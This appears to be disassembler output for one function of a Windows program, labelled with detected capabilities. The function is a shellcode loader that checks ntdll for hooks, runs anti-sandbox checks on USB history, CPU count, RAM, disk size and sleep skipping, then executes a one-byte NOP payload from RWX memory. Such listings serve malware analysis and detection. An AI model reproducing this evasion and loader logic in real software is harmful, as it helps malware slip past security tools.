Function at 0x140001a28
Capabilities:
Get file size
Get system information on windows
Link many functions at runtime
Query or enumerate registry key

Disassembly:
push rbp
mov eax, 0x12a0
call fcn.140003d00
sub rsp, rax
lea rbp, [rsp + 0x80]
call sym.__main
mov r9d, 0
lea r8, str.Dooper
lea rax, str.Plooper
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxW]
call rax
mov edx, 0x95d55ff
lea rax, str.kernel32
mov rcx, rax
call sym.PROC32_char__unsigned_long_
mov qword [rbp + 0x1208], rax
mov edx, 0x754d386
lea rax, str.kernel32
mov rcx, rax
call sym.PROC32_char__unsigned_long_
mov qword [rbp + 0x1200], rax
mov edx, 0x4ae9bc6
lea rax, str.kernel32
mov rcx, rax
call sym.PROC32_char__unsigned_long_
mov qword [rbp + 0x11f8], rax
mov edx, 0x7289067
lea rax, str.kernelbase
mov rcx, rax
call sym.PROC32_char__unsigned_long_
mov qword [rbp + 0x11f0], rax
mov edx, 0x68f3884
lea rax, str.kernel32
mov rcx, rax
call sym.PROC32_char__unsigned_long_
mov qword [rbp + 0x11e8], rax
mov edx, 0x3206721
lea rax, str.ucrtbase
mov rcx, rax
call sym.PROC32_char__unsigned_long_
mov qword [rbp + 0x11e0], rax
mov edx, 0x84d80b0
lea rax, str.kernel32
mov rcx, rax
call sym.PROC32_char__unsigned_long_
mov qword [rbp + 0x11d8], rax
mov rax, qword [rbp + 0x1208]
mov qword [rbp + 0x11d0], rax
mov rax, qword [rbp + 0x1200]
mov qword [rbp + 0x11c8], rax
mov rax, qword [rbp + 0x11f8]
mov qword [rbp + 0x11c0], rax
mov rax, qword [rbp + 0x11f0]
mov qword [rbp + 0x11b8], rax
mov rax, qword [rbp + 0x11e8]
mov qword [rbp + 0x11b0], rax
mov rax, qword [rbp + 0x11e0]
mov qword [rbp + 0x11a8], rax
mov rax, qword [rbp + 0x11d8]
mov qword [rbp + 0x11a0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.C:WindowsSystem32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x1198], rax
mov rax, qword [rbp + 0x1198]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x1194], eax
mov rax, qword [rbp + 0x1198]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
call rax
mov qword [rbp + 0x1188], rax
mov r10, qword [rbp + 0x11c0]
mov rax, qword [rbp + 0x1188]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
call r10
mov qword [rbp + 0x1180], rax
mov rax, qword [rbp + 0x1198]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x1180]
mov qword [rbp + 0x1178], rax
mov rax, qword [rbp + 0x1178]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x1180]
add rax, rdx
mov qword [rbp + 0x1170], rax
mov rax, qword [rbp + 0x1170]
add rax, 0x18
mov qword [rbp + 0x1168], rax
mov rax, qword [rbp + 0x1168]
mov eax, dword [rax + 0x70]
mov edx, eax
mov rax, qword [rbp + 0x1180]
add rax, rdx
mov qword [rbp + 0x1160], rax
mov rax, qword [rbp + 0x1160]
mov eax, dword [rax + 0x1c]
mov edx, eax
mov rax, qword [rbp + 0x1180]
add rax, rdx
mov qword [rbp + 0x1158], rax
mov rax, qword [rbp + 0x1160]
mov eax, dword [rax + 0x20]
mov edx, eax
mov rax, qword [rbp + 0x1180]
add rax, rdx
mov qword [rbp + 0x1150], rax
mov rax, qword [rbp + 0x1160]
mov eax, dword [rax + 0x24]
mov edx, eax
mov rax, qword [rbp + 0x1180]
add rax, rdx
mov qword [rbp + 0x1148], rax
lea rax, [0x14000b0f4]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov rcx, rax
lea rax, str.NtCreateThreadEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1140], rax
cmp qword [rbp + 0x1140], 0
jne 0x140001d7d
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_obtain_address_for_NtCreateThreadEx_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x14000255a
mov rax, qword [0x1400100c8]
mov qword [rbp + 0x1218], rax
mov dword [rbp + 0x1214], 0
jmp 0x140001e35
mov eax, dword [rbp + 0x1214]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1150]
add rax, rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x1180]
add rax, rdx
mov qword [rbp + 0x1138], rax
mov rax, qword [rbp + 0x1138]
mov r8d, 0x10
lea rdx, str.NtCreateThreadEx
mov rcx, rax
call sym.strncmp
test eax, eax
jne 0x140001e2e
mov eax, dword [rbp + 0x1214]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0x1148]
add rax, rdx
movzx eax, word [rax]
movzx eax, ax
lea rdx, [rax*4]
mov rax, qword [rbp + 0x1158]
add rax, rdx
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x1180]
add rax, rdx
mov qword [rbp + 0x1218], rax
jmp 0x140001e4d
add dword [rbp + 0x1214], 1
mov rax, qword [rbp + 0x1160]
mov eax, dword [rax + 0x18]
mov edx, dword [rbp + 0x1214]
cmp edx, eax
jb 0x140001d9a
mov rax, qword [rbp + 0x1218]
cmp rax, qword [rbp + 0x1140]
jne 0x140001e81
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Found_function_is_the_same_as_the_original_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x14000255a
lea rax, [rbp + 0x10b0]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rax, str.SYSTEMControlSet001EnumUSBSTOR
mov rdx, rax
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
call rax
test eax, eax
setne al
test al, al
je 0x140001ec6
mov eax, 0
jmp 0x14000255a
mov rax, qword [rbp + 0x10b0]
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rdx, [rbp + 0x10ac]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
call rax
test eax, eax
setne al
test al, al
je 0x140001f48
mov eax, 0
jmp 0x14000255a
mov eax, dword [rbp + 0x10ac]
test eax, eax
jne 0x140001f5c
mov eax, 0
jmp 0x14000255a
lea rax, [rbp + 0x1070]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x1090]
mov dword [rbp + 0x1134], eax
cmp dword [rbp + 0x1134], 1
ja 0x140001f8e
mov eax, 0
jmp 0x14000255a
mov dword [rbp + 0x1030], 0x40
mov rdx, qword [rbp + 0x11d0]
lea rax, [rbp + 0x1030]
mov rcx, rax
call rdx
test eax, eax
sete al
test al, al
je 0x140001fbe
mov eax, 0
jmp 0x14000255a
mov rax, qword [rbp + 0x1038]
shr rax, 0x14
mov dword [rbp + 0x1130], eax
cmp dword [rbp + 0x1130], 0x7ff
ja 0x140001fe5
mov eax, 0
jmp 0x14000255a
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0
lea rax, str..PhysicalDrive0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileW]
call rax
mov qword [rbp + 0x1128], rax
mov r10, qword [rbp + 0x11b8]
mov rax, qword [rbp + 0x1128]
mov qword [rsp + 0x38], 0
lea rdx, [rbp + 0x100c]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0x18
lea rdx, [rbp + 0x1010]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0x70000
mov rcx, rax
call r10
test eax, eax
sete al
test al, al
je 0x14000208a
mov eax, 0
jmp 0x14000255a
mov rax, qword [rbp + 0x1010]
mov edx, dword [rbp + 0x101c]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x1020]
mov edx, edx
imul rax, rdx
mov edx, dword [rbp + 0x1024]
mov edx, edx
imul rax, rdx
lea rdx, [rax + 0x3fffffff]
test rax, rax
cmovs rax, rdx
sar rax, 0x1e
mov dword [rbp + 0x1124], eax
cmp dword [rbp + 0x1124], 0x63
ja 0x1400020e0
mov eax, 0
jmp 0x14000255a
mov r9, qword [rbp + 0x11a0]
lea rdx, [rbp - 4]
mov rax, rbp
mov r8, rdx
mov edx, 0x1000
mov rcx, rax
call r9
test eax, eax
sete al
test al, al
je 0x14000210f
mov eax, 0
jmp 0x14000255a
mov eax, dword [rbp - 4]
shr eax, 2
mov dword [rbp + 0x1120], eax
cmp dword [rbp + 0x1120], 0x31
ja 0x14000212e
mov eax, 0
jmp 0x14000255a
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x1118], rax
lea rax, [0x14000b0f4]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov rcx, rax
lea rax, str.NtDelayExecution
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1110], rax
mov qword [rbp - 0x10], 0xffffffffc4653600
mov r8, qword [rbp + 0x1110]
lea rax, [rbp - 0x10]
mov rdx, rax
mov ecx, 0
call r8
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x1108], rax
mov rax, qword [rbp + 0x1108]
sub rax, qword [rbp + 0x1118]
cmp rax, 0x1869f
ja 0x1400021bc
mov eax, 0
jmp 0x14000255a
mov ecx, 0xf4240
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, [0x14000b0f4]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov rcx, rax
lea rax, str.PUserSharedData
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1100], rax
lea rax, [0x14000b0f4]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov rcx, rax
lea rax, str.PUserSharedData0x3a0
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x10f8], rax
lea rax, [0x14000b0f4]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call rax
mov rcx, rax
lea rax, str.PUserSharedData0x3a4
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x10f0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov dword [rbp + 0x10ec], eax
mov rax, qword [rbp + 0x1100]
mov eax, dword [rax]
mov rdx, qword [rbp + 0x10f8]
mov edx, dword [rdx]
shl edx, 8
imul edx, eax
mov rax, qword [rbp + 0x10f0]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [rbp + 0x1100]
mov eax, dword [rax]
mov eax, eax
imul rax, rcx
shr rax, 0x18
add eax, edx
mov dword [rbp + 0x10e8], eax
mov eax, dword [rbp + 0x10ec]
sub eax, dword [rbp + 0x10e8]
cmp eax, 0x64
jbe 0x1400022d3
mov eax, dword [rbp + 0x10e8]
sub eax, dword [rbp + 0x10ec]
cmp eax, 0x64
jbe 0x1400022d3
mov eax, 0
jmp 0x14000255a
mov byte [rbp - 0x11], 0x90
mov rax, qword [rbp + 0x11b0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 1
mov ecx, 0
call rax
mov qword [rbp + 0x10e0], rax
cmp qword [rbp + 0x10e0], 0
jne 0x14000232b
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_allocate_memory_for_destinationBuffer_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x14000255a
mov rax, qword [rbp + 0x10e0]
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualQuery]
call rax
test rax, rax
setne al
test al, al
je 0x140002397
mov r9, qword [rbp + 0x11a8]
lea rdx, [rbp - 0x11]
mov rax, qword [rbp + 0x10e0]
mov r8d, 1
mov rcx, rax
call r9
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x10d8], rax
cmp qword [rbp + 0x10d8], 0
je 0x1400023bb
jmp 0x1400023df
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Payload_size_exceeds_destinationBuffer_size_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x14000255a
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_get_handle_to_kernel32.dll_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x14000255a
mov rax, qword [rbp + 0x10d8]
lea rdx, str.VirtualAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x10d0], rax
mov rax, qword [rbp + 0x10d8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x10c8], rax
mov rax, qword [rbp + 0x10d8]
lea rdx, str.VirtualProtect
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x10c0], rax
cmp qword [rbp + 0x10d0], 0
je 0x140002460
cmp qword [rbp + 0x10c8], 0
je 0x140002460
cmp qword [rbp + 0x10c0], 0
jne 0x140002484
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_get_function_addresses_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x14000255a
mov rax, qword [rbp + 0x10d0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x1000
mov ecx, 0
call rax
mov qword [rbp + 0x10b8], rax
cmp qword [rbp + 0x10b8], 0
jne 0x1400024d8
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_allocate_memory_0x_lx_n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x14000255a
mov r9, qword [rbp + 0x10c8]
lea rdx, [rbp - 0x11]
mov rax, qword [rbp + 0x10b8]
mov r8d, 1
mov rcx, rax
call r9
mov r10, qword [rbp + 0x10c0]
mov rax, qword [rbp + 0x10b8]
mov r9d, 0
mov r8d, 0x20
mov edx, 1
mov rcx, rax
call r10
mov rax, qword [rbp + 0x10b8]
call rax
mov rax, qword [rbp + 0x10b8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov rax, qword [rbp + 0x1188]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x12a0
pop rbp
ret